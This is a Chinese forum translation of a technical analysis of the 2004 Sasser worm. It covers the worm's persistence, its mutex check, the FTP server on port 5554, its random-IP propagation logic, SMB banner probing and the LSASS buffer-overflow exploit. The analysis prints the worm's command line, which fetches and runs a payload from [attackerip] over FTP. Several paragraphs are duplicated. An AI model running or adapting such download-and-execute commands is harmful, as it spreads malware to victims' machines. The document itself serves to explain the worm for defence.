[翻译]震荡波蠕虫技术分析(振荡波蠕虫技术分析)
文章翻译:冰血封情 [E.S.T] 和 aawq信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
注意:谨以此文章献给我的父亲和母亲
拙笔正文:
震荡波 蠕虫技术分析
发布日期:
May 1, 2004
安全等级:
高
发布公司:
Microsoft
受影响的系统:
Windows 2000
Windows 2003 Server
Windows XP
技术描述:
2004年4月30日发现的Sasser(震荡波)LSASS蠕虫病毒是一款使用Visual C语言编写的自身执行传播的病毒。
它主要针对eEye安全小组发现的Microsoft LSA缓冲区溢出漏洞进行攻击,该漏洞Microsoft公司已经于2004年4月13日发布了安全修补程序。与去年八月的MSBlaster(冲击波)RPC DCOM蠕虫相似,Sasser使用了一个公开的LSA缓冲区溢出漏洞的攻击代码去攻击并试图获得受害主机的一个命令行下的shell。
一旦连接并获得shell,蠕虫会指示计算机系统到另外一个指定的FTP服务器上下载一个可执行的病毒体并执行拷贝任务。
Sasser蠕虫所使用的攻击是houseofdabus黑客编写的溢出攻击代码,该攻击代码经测试是针对Windows 2000 Professional,Windows 2000 Server,and Windows XP Professional等操作系统的英文和俄文版的操作系统。我们已经发现该溢出攻击代码在针对日文版的Windows 2000测试中失败,那么很可能其他的语言版本的操作系统受到该代码的攻击威胁也很小,虽然一次针对存在安全隐患的主机的攻击可能会造成LSASS服务中指并且系统重新启动但是它并没有有成功。由于蠕虫使用的攻击代码本身的缺陷,
它只能影响到Windows XP和一些特定版本的Windows 2000 Professional。
目前没有任何特征表明除了传播外该病毒还有什么其他破坏性(给受害系统带来副作用)。为了确保病毒体在系统重启能构再次被执行,一个新的病毒体Sasser会把他自己拷贝到当前操作系统的系统根目录(\WINDOWS或者\WINNT)并且在注册表中添加到如下键值:
HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows\
CurrentVersion\
Run
小知识:
Malware:恶性产物
恶性产物一般统称指一些不在预期内、恶性程序码、手机码如:病毒、特洛依木马程序、电脑蠕虫、或是恶作剧程序等。
Mutex:互斥体
广泛地应用在多线程编程中。
这是malware在启动时候执行自己的恶意程序的经典用法。在感染完成后如果该计算机已经被该病毒感染过,这个新感染的病毒体会通过一个名为Jobaka3l的互斥体检测到并立刻停止感染。如果病毒实体是第一次感染该计算机,它将打开一个使用TCP端口5554的FTP并且创建128个线程开始无限传播循环。传播过程中,病毒会每3秒就调用AbortSystemShutdown API函数来保护病毒的后续感染工作。
非常简单,Sasser仅挑选随即的IP地址进行扫描和攻击。当感染了该网段的某台主机后(它不会扫描127.0.0.1,10.x.x.x,172.[16-31].x.x,192.168.x.x和169.254.x.xIP的计算机)病毒会随机将尝试攻击的范围扩展到部分或者是整个网段。任何一次尝试中,大概有52%的机率IP地址是完全随机的,其中25%的机率IP地址的前16个字节将和本地IP相同。 (最后8个字节随机),余下23%的机率是本地IP的前面8个字节将被使用(剩下的24个字节随机)。 随机的8个字节将在0和254随机通过特殊的函数产生。
蠕虫会尝试连接随机产生的IP地址的计算机系统TCP端口445,如果成功,病毒将发出一系列的数据包刺探对方主机的SMB Banner以便根据这些信息确认对方所运行的Windows系统版本。由于Windows 2000 Professional和Windows 2000 Server的banners是一样的,病毒回采用houseofdabus的攻击代码尝试所有的2000系统,因此缩小了病毒感染的成功率。一旦操作系统的版本已经选定,Sasser蠕虫将发送LSA攻击代码并且尝试连接TCP端口9996以获得命令行下的shell。如果成功,病毒会在受害的计算机上执行如下命令去下载并且运行蠕虫的可执行文件。
host:
echo off
echo open [attackerip] 5554>>cmd.ftp
echo anonymous>>cmd.ftp
echo user
echo bin>>cmd.ftp
echo get [random]_up.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
[random]_up.exe
echo off
del cmd.ftp
echo on
以上一系列的命令建立了一个脚本,以便连接到已经受害的主机(用已经受害的系统IP替[attackerip]参数) 显得5554端口,登录后下载病毒体,然后执行病毒并且删除刚才创建的脚本文件。如果受害者之前并没有被感染,那么这个Sasser病毒将执行后以该主机为基础感染其他的计算机。
如下是病毒感染的一个大概流程:
一、主要
A、用GetTickCount() 汗水查找随机网络主机。
B、以avserve.exe为文件名拷贝自身到系统目录。
C、在注册表如下键建立一个avserve.exe为键值名的子键。
HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows\
CurrentVersion\Run
将病毒路径指向系统目录。
D、初始化Winsock v1.1
E、尝试创建一个名为Jobaka3l的互斥体,如果互斥体存在就终止自己(意味者计算机已经被感染)。
F、开启FTP服务器线程。
G、开启128支感染限程。
H、启动无限循环,每3秒钟调用AbortSystemShutdown API函数一次(这样用于防止当病毒传染成功后LSASS终端造成的系统重新启动,或者是二次感染造成的重新启动)。
二、FTP服务器线程
A、打开5554端口监听
B、激活FTP连接
三、FTP会话线程
A、发出220 OK\n作为FTP的标识。
B、输入一个命令行处理循环
1、从客户端接收1KB信息
a、如果连接正常关闭,命令行将解释成空字符。
b、如果连接被重置,最后收到的数据将被处理(如果之前没受到任何信息将丢弃)。
接原翻译作者冰血的
如果命令中含有"USER","331 OK\n"响应发出并且循环继续
如果命令中含有"PASS","230 OK\n"响应发出并且循环继续
如果命令中含有"PORT":
在命令符中的第四个字符后的符号就被拷贝到一个可以容纳132个字符的缓冲区中(这就表明一个基于栈缓冲益处脆弱的危险)
这些参数是以标记的形式给出,用逗号分隔,最多可以有6个,每个转换成32位的整形(前四个是用于要连接的IP地址后2个给出高低位的TCP端口)
如果提供的参数少于6个,则没有给出的参数从垃圾箱给出或用从这次通话中最后的那次提供的端口
IP地址在一个40个字符大小的缓冲中作为字符串描述的(没有缓冲益处的可能)
"200 OK\n"响应发出并且循环继续
如果命令中含有 "RETR":
一个基于IP地址的TCP连接就建立起来,同时端口载入到最后那次的"PORT"命令中(如果没有给出"PORT"命
令就用一个无用的IP和端口)
执行的病毒在某个时间通过数据连接发出一个字节,直到文件都到达然后关掉数据连接。
"226 OK\n"响应通过控制连接发送并且循环继续
如果命令符中含有"QUIT",则关闭连接但是循环却还在继续中
如果命令符中不包含"USER", "PASS", "PORT", "RETR", or "QUIT" 这些子串,
"226 OK\n" 响应发出并且循环继续。
在处理完一个命令后,如果连接关闭则结束循环或者重置优先级好接收其他命令
终止线程
IV线程蔓延
进入一个无限繁殖循环来获取感染的主机的IP地址表并且选择那些更象是在internet布线上的
127.0.0.1, 10.x.x.x, 172.[16-31].x.x, 192.168.x.x, and 169.254.x.x将被忽略,因为他们是基于RFC 1918的,要不然的话专用的那些首先不匹配的IP地址将被认为是已经被感染的主机的"external"地址
如果所有的IP地址都是非布线的,那么位于表单后面的IP地址就被随机的全部或部分选择用语攻击
IP地址由完全随机的产生有52% (16/31)的可能性
前2位从被感染的主机IP地址获得而后2位由随机取有25% (15/31 * 16/31)的可能性
第一位从被感染的主机IP地址获得而后3位由随机取有23% (15/31 * 15/31)可能性
随机产生的位是由伪随机生成产生的在0到254之间的数,包括用公式( ((seed = ((seed * 343FDh) +
279EC3h)) >> 16) & 7FFFh )生成--典型的用在此公式中的加数是269EC3h,而不是279EC3h
一系列的SMB包通过TCP/445发送的目标用来找回SMB banner
如果banner包含子串"5.0",则目标主机的OS可能是Windows 2000 Professional
如果banner包含子串"5.1",则目标主机的OS可能是Windows XP Professional
如果没有包含这两个子串,则目标主机的OS可能是Windows 2000 server;
如果命令中含有"USER","331 OK\n"响应发出并且循环继续
如果命令中含有"PASS","230 OK\n"响应发出并且循环继续
如果命令中含有"PORT":
在命令符中的第四个字符后的符号就被拷贝到一个可以容纳132个字符的缓冲区中(这就表明一个基于栈缓
冲益处脆弱的危险)
这些参数是以标记的形式给出,用逗号分隔,最多可以有6个,每个转换成32位的整形(前四个是用于要连
接的IP地址后2个给出高低位的TCP端口)
如果提供的参数少于6个,则没有给出的参数从垃圾箱给出或用从这次通话中最后的那次提供的端口
IP地址在一个40个字符大小的缓冲中作为字符串描述的(没有缓冲益处的可能)
"200 OK\n"响应发出并且循环继续
如果命令中含有 "RETR":
一个基于IP地址的TCP连接就建立起来,同时端口载入到最后那次的"PORT"命令中(如果没有给出"PORT"命
令就用一个无用的IP和端口)
执行的病毒在某个时间通过数据连接发出一个字节,直到文件都到达然后关掉数据连接。
"226 OK\n"响应通过控制连接发送并且循环继续
如果命令符中含有"QUIT",则关闭连接但是循环却还在继续中
如果命令符中不包含"USER", "PASS", "PORT", "RETR", or "QUIT" 这些子串,
"226 OK\n" 响应发出并且循环继续。
在处理完一个命令后,如果连接关闭则结束循环或者重置优先级好接收其他命令
终止线程
IV线程蔓延
进入一个无限繁殖循环来获取感染的主机的IP地址表并且选择那些更象是在internet布线上的127.0.0.1, 10.x.x.x, 172.[16-31].x.x, 192.168.x.x, and 169.254.x.x将被忽略,因为他们是基于RFC 1918的,要不然的话专用的那些首先不匹配的IP地址将被认为是已经被感染的主机的"external"地址
如果所有的IP地址都是非布线的,那么位于表单后面的IP地址就被随机的全部或部分选择用语攻击IP地址由完全随机的产生有52% (16/31)的可能性
前2位从被感染的主机IP地址获得而后2位由随机取有25% (15/31 * 16/31)的可能性
第一位从被感染的主机IP地址获得而后3位由随机取有23% (15/31 * 15/31)可能性
随机产生的位是由伪随机生成产生的在0到254之间的数,包括用公式( ((seed = ((seed * 343FDh) + 279EC3h)) >> 16) & 7FFFh )生成--典型的用在此公式中的加数是269EC3h,而不是279EC3h
一系列的SMB包通过TCP/445发送的目标用来找回SMB banner
如果banner包含子串"5.0",则目标主机的OS可能是Windows 2000 Professional
如果banner包含子串"5.1",则目标主机的OS可能是Windows XP Professional
如果没有包含这两个子串,则目标主机的OS可能是Windows 2000 server;
这样的逻辑常常造成将Windows 2000 server误以为是Windows 2000 Professional
这是由于Windows 2000 Professional和Windows 2000 server的SMB banners(注:SMB=server message block)的区别不大
如果没有找到banners,目标主机就回被跳过
发送两次经过加壳的由"houseofdabus" 编写的LSASS 服务代码(注::exploit翻译代码吗?)到目标主机上 ,这样做是为了将一个SYSTEM命令的shell附在端口TCP/9996
已经发现在一些国家语言的Windows XP版本上起作用,而在基于这些国家语言的Windows 2000版本却不起作用(例如:日本版的Windows XP Professional易感染而Windows 2000 Professional就不会)。只有英
文版了俄罗斯版被开发着确定
发送一个攻击命令到目标主机上
创建一个TCP/IP socket并且设定收到的时间在5秒内
尝试通过端口TCP/9996来连接主机,如果连接失败就终止攻击
通过在命令行中以下列方式插入袭击主机的IP地址和随机产生的数字(0..32767)::
echo off&echo open [attackerip] 5554>>cmd.ftp&
echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&
echo get [random]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&
ftp -s:cmd.ftp&[random]_up.exe&echo off&del cmd.ftp&echo on\n
用一次一个字符的方式将命令发送到目标主机
休眠1秒钟后断开
休眠250ms则继续进行繁殖循环
保护::
Retina Network Security Scanner(网络安全扫描器)已经更新的版本能够发现这个弱点。
Credit:
详细分析:Yuji Ukai and Derek Soeder
相关连接:
Retina Network Security Scanner - Free 15 Day Trial [url]http://www.eeye.com/html/Products/Retina/download.html[/url]
////////////////////下面的不用翻译了吧
Copyright
页:
[1]